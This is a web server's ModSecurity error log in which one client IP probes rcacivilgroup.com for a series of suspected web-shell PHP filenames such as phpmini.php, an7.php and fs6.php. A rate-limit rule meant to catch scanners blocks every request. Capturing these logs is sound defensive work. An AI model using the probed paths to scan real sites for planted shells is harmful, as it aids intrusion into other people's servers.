[Sun Mar 29 02:16:42.219131 2026] [:error] [pid 39429:tid 39495] [client 20.197.233.108:23271] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/feokc.php"] [unique_id "acgbCk8pSj6sqgZaItnldQAAAIk"]
[Sun Mar 29 02:16:42.837154 2026] [:error] [pid 39428:tid 39461] [client 20.197.233.108:23276] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/feokc.php"] [unique_id "acgbCqXMrozFMIaP8nIC4gAAAEI"]
[Sun Mar 29 02:16:43.468191 2026] [:error] [pid 39429:tid 39489] [client 20.197.233.108:23287] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/feokc.php"] [unique_id "acgbC08pSj6sqgZaItnlegAAAIM"]
[Sun Mar 29 02:16:44.086910 2026] [:error] [pid 39429:tid 39492] [client 20.197.233.108:23269] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fetch.php"] [unique_id "acgbDE8pSj6sqgZaItnlfgAAAIY"]
[Sun Mar 29 02:16:44.705128 2026] [:error] [pid 39429:tid 39509] [client 20.197.233.108:23235] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fetch.php"] [unique_id "acgbDE8pSj6sqgZaItnlgQAAAJc"]
[Sun Mar 29 02:16:45.324956 2026] [:error] [pid 39429:tid 39496] [client 20.197.233.108:23266] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fetch.php"] [unique_id "acgbDU8pSj6sqgZaItnlhAAAAIo"]
[Sun Mar 29 02:16:45.948944 2026] [:error] [pid 39514:tid 39538] [client 20.197.233.108:23256] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fetch.php"] [unique_id "acgbDSkUyvlQod6qQu2kDwAAAM0"]
[Sun Mar 29 02:16:46.568988 2026] [:error] [pid 39428:tid 39459] [client 20.197.233.108:23288] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phpmini.php"] [unique_id "acgbDqXMrozFMIaP8nIC5gAAAEA"]
[Sun Mar 29 02:16:47.191827 2026] [:error] [pid 39428:tid 39473] [client 20.197.233.108:23044] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phpmini.php"] [unique_id "acgbD6XMrozFMIaP8nIC6AAAAE4"]
[Sun Mar 29 02:16:47.812884 2026] [:error] [pid 39514:tid 39530] [client 20.197.233.108:23257] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phpmini.php"] [unique_id "acgbDykUyvlQod6qQu2kEAAAAMU"]
[Sun Mar 29 02:16:48.430543 2026] [:error] [pid 39428:tid 39465] [client 20.197.233.108:23281] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phpmini.php"] [unique_id "acgbEKXMrozFMIaP8nIC7wAAAEY"]
[Sun Mar 29 02:16:49.048728 2026] [:error] [pid 39427:tid 39451] [client 20.197.233.108:23270] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an7.php"] [unique_id "acgbEVvLf0RDUqcYq-ZPAwAAABM"]
[Sun Mar 29 02:16:49.681457 2026] [:error] [pid 39429:tid 39494] [client 20.197.233.108:23275] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an7.php"] [unique_id "acgbEU8pSj6sqgZaItnljQAAAIg"]
[Sun Mar 29 02:16:50.301217 2026] [:error] [pid 39429:tid 39495] [client 20.197.233.108:23058] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an7.php"] [unique_id "acgbEk8pSj6sqgZaItnljgAAAIk"]
[Sun Mar 29 02:16:50.922146 2026] [:error] [pid 39427:tid 39444] [client 20.197.233.108:23071] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an7.php"] [unique_id "acgbElvLf0RDUqcYq-ZPBgAAAAw"]
[Sun Mar 29 02:16:51.547782 2026] [:error] [pid 39427:tid 39448] [client 20.197.233.108:22917] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tbute.php"] [unique_id "acgbE1vLf0RDUqcYq-ZPCQAAABA"]
[Sun Mar 29 02:16:52.167773 2026] [:error] [pid 39429:tid 39498] [client 20.197.233.108:23263] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tbute.php"] [unique_id "acgbFE8pSj6sqgZaItnlmwAAAIw"]
[Sun Mar 29 02:16:52.789147 2026] [:error] [pid 39427:tid 39446] [client 20.197.233.108:23042] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tbute.php"] [unique_id "acgbFFvLf0RDUqcYq-ZPDgAAAA4"]
[Sun Mar 29 02:16:53.406898 2026] [:error] [pid 39429:tid 39488] [client 20.197.233.108:23045] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tbute.php"] [unique_id "acgbFU8pSj6sqgZaItnloAAAAII"]
[Sun Mar 29 02:16:54.030389 2026] [:error] [pid 60346:tid 60375] [client 20.197.233.108:23246] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rovoj.php"] [unique_id "acgbFnVrXSgLxlxLi9A6pwAAARg"]
[Sun Mar 29 02:16:54.674150 2026] [:error] [pid 39514:tid 39549] [client 20.197.233.108:23264] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rovoj.php"] [unique_id "acgbFikUyvlQod6qQu2kFQAAANc"]
[Sun Mar 29 02:16:55.296647 2026] [:error] [pid 39427:tid 39456] [client 20.197.233.108:23081] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rovoj.php"] [unique_id "acgbF1vLf0RDUqcYq-ZPFQAAABg"]
[Sun Mar 29 02:16:55.915551 2026] [:error] [pid 39514:tid 39536] [client 20.197.233.108:23083] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rovoj.php"] [unique_id "acgbFykUyvlQod6qQu2kGgAAAMs"]
[Sun Mar 29 02:16:56.534988 2026] [:error] [pid 39429:tid 39498] [client 20.197.233.108:23069] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r3grt7.php"] [unique_id "acgbGE8pSj6sqgZaItnlpwAAAIw"]
[Sun Mar 29 02:16:57.155582 2026] [:error] [pid 39429:tid 39490] [client 20.197.233.108:22912] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r3grt7.php"] [unique_id "acgbGU8pSj6sqgZaItnlqgAAAIQ"]
[Sun Mar 29 02:16:57.774461 2026] [:error] [pid 60346:tid 60361] [client 20.197.233.108:23072] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r3grt7.php"] [unique_id "acgbGXVrXSgLxlxLi9A6rAAAAQo"]
[Sun Mar 29 02:16:58.408655 2026] [:error] [pid 60346:tid 60351] [client 20.197.233.108:23260] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r3grt7.php"] [unique_id "acgbGnVrXSgLxlxLi9A6rgAAAQA"]
[Sun Mar 29 02:16:59.046082 2026] [:error] [pid 60346:tid 60367] [client 20.197.233.108:23265] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phina.php"] [unique_id "acgbG3VrXSgLxlxLi9A6sgAAARA"]
[Sun Mar 29 02:16:59.670870 2026] [:error] [pid 39428:tid 39476] [client 20.197.233.108:23100] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phina.php"] [unique_id "acgbG6XMrozFMIaP8nIC9gAAAFE"]
[Sun Mar 29 02:17:00.305153 2026] [:error] [pid 60346:tid 60354] [client 20.197.233.108:23240] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phina.php"] [unique_id "acgbHHVrXSgLxlxLi9A6ugAAAQM"]
[Sun Mar 29 02:17:00.953364 2026] [:error] [pid 39427:tid 39456] [client 20.197.233.108:23279] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phina.php"] [unique_id "acgbHFvLf0RDUqcYq-ZPIAAAABg"]
[Sun Mar 29 02:17:01.576324 2026] [:error] [pid 60346:tid 60362] [client 20.197.233.108:23252] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "acgbHXVrXSgLxlxLi9A6xQAAAQs"]
[Sun Mar 29 02:17:02.225475 2026] [:error] [pid 60346:tid 60361] [client 20.197.233.108:22956] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "acgbHnVrXSgLxlxLi9A6yQAAAQo"]
[Sun Mar 29 02:17:02.845113 2026] [:error] [pid 60346:tid 60357] [client 20.197.233.108:23079] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "acgbHnVrXSgLxlxLi9A6zQAAAQY"]
[Sun Mar 29 02:17:03.465456 2026] [:error] [pid 39429:tid 39492] [client 20.197.233.108:23254] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "acgbH08pSj6sqgZaItnlrwAAAIY"]
[Sun Mar 29 02:17:04.089606 2026] [:error] [pid 39429:tid 39487] [client 20.197.233.108:23258] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs6.php"] [unique_id "acgbIE8pSj6sqgZaItnlswAAAIE"]
[Sun Mar 29 02:17:04.730499 2026] [:error] [pid 39429:tid 39504] [client 20.197.233.108:23247] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs6.php"] [unique_id "acgbIE8pSj6sqgZaItnltQAAAJI"]
[Sun Mar 29 02:17:05.354809 2026] [:error] [pid 39429:tid 39490] [client 20.197.233.108:22929] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs6.php"] [unique_id "acgbIU8pSj6sqgZaItnltgAAAIQ"]
[Sun Mar 29 02:17:05.974351 2026] [:error] [pid 39427:tid 39439] [client 20.197.233.108:23082] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs6.php"] [unique_id "acgbIVvLf0RDUqcYq-ZPKQAAAAc"]
[Sun Mar 29 02:17:06.597611 2026] [:error] [pid 39427:tid 39447] [client 20.197.233.108:23268] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs7.php"] [unique_id "acgbIlvLf0RDUqcYq-ZPKwAAAA8"]
[Sun Mar 29 02:17:07.213129 2026] [:error] [pid 39427:tid 39451] [client 20.197.233.108:23265] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs7.php"] [unique_id "acgbI1vLf0RDUqcYq-ZPLAAAABM"]
[Sun Mar 29 02:17:07.831133 2026] [:error] [pid 60346:tid 60352] [client 20.197.233.108:23242] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs7.php"] [unique_id "acgbI3VrXSgLxlxLi9A64wAAAQE"]
[Sun Mar 29 02:17:08.450627 2026] [:error] [pid 39514:tid 39545] [client 20.197.233.108:23253] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs7.php"] [unique_id "acgbJCkUyvlQod6qQu2kIgAAANQ"]
[Sun Mar 29 02:17:09.067602 2026] [:error] [pid 39514:tid 39539] [client 20.197.233.108:22949] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kbfr.php"] [unique_id "acgbJSkUyvlQod6qQu2kJAAAAM4"]
[Sun Mar 29 02:17:09.687401 2026] [:error] [pid 39514:tid 39525] [client 20.197.233.108:23089] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kbfr.php"] [unique_id "acgbJSkUyvlQod6qQu2kJgAAAME"]
[Sun Mar 29 02:17:10.306534 2026] [:error] [pid 39514:tid 39543] [client 20.197.233.108:23048] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kbfr.php"] [unique_id "acgbJikUyvlQod6qQu2kJwAAANI"]
[Sun Mar 29 02:17:10.922973 2026] [:error] [pid 39514:tid 39524] [client 20.197.233.108:23040] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kbfr.php"] [unique_id "acgbJikUyvlQod6qQu2kKgAAAMA"]
[Sun Mar 29 02:17:11.553103 2026] [:error] [pid 39429:tid 39487] [client 20.197.233.108:23059] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/595.php"] [unique_id "acgbJ08pSj6sqgZaItnlvgAAAIE"]
[Sun Mar 29 02:17:12.172279 2026] [:error] [pid 39514:tid 39546] [client 20.197.233.108:23065] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/595.php"] [unique_id "acgbKCkUyvlQod6qQu2kLwAAANU"]
[Sun Mar 29 02:17:12.790827 2026] [:error] [pid 39427:tid 39432] [client 20.197.233.108:22951] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/595.php"] [unique_id "acgbKFvLf0RDUqcYq-ZPMQAAAAA"]
[Sun Mar 29 02:17:13.413468 2026] [:error] [pid 39514:tid 39541] [client 20.197.233.108:23259] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/595.php"] [unique_id "acgbKSkUyvlQod6qQu2kMQAAANA"]
[Sun Mar 29 02:17:14.037316 2026] [:error] [pid 39429:tid 39486] [client 20.197.233.108:22926] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1.php"] [unique_id "acgbKk8pSj6sqgZaItnlwgAAAIA"]
[Sun Mar 29 02:17:14.665100 2026] [:error] [pid 39429:tid 39499] [client 20.197.233.108:22919] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1.php"] [unique_id "acgbKk8pSj6sqgZaItnlxAAAAI0"]
[Sun Mar 29 02:17:15.284632 2026] [:error] [pid 39514:tid 39525] [client 20.197.233.108:15298] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1.php"] [unique_id "acgbKykUyvlQod6qQu2kNQAAAME"]
[Sun Mar 29 02:17:15.904267 2026] [:error] [pid 39427:tid 39454] [client 20.197.233.108:23239] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1.php"] [unique_id "acgbK1vLf0RDUqcYq-ZPNAAAABY"]
[Sun Mar 29 02:17:16.530169 2026] [:error] [pid 60346:tid 60363] [client 20.197.233.108:23274] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gk.php"] [unique_id "acgbLHVrXSgLxlxLi9A69QAAAQw"]
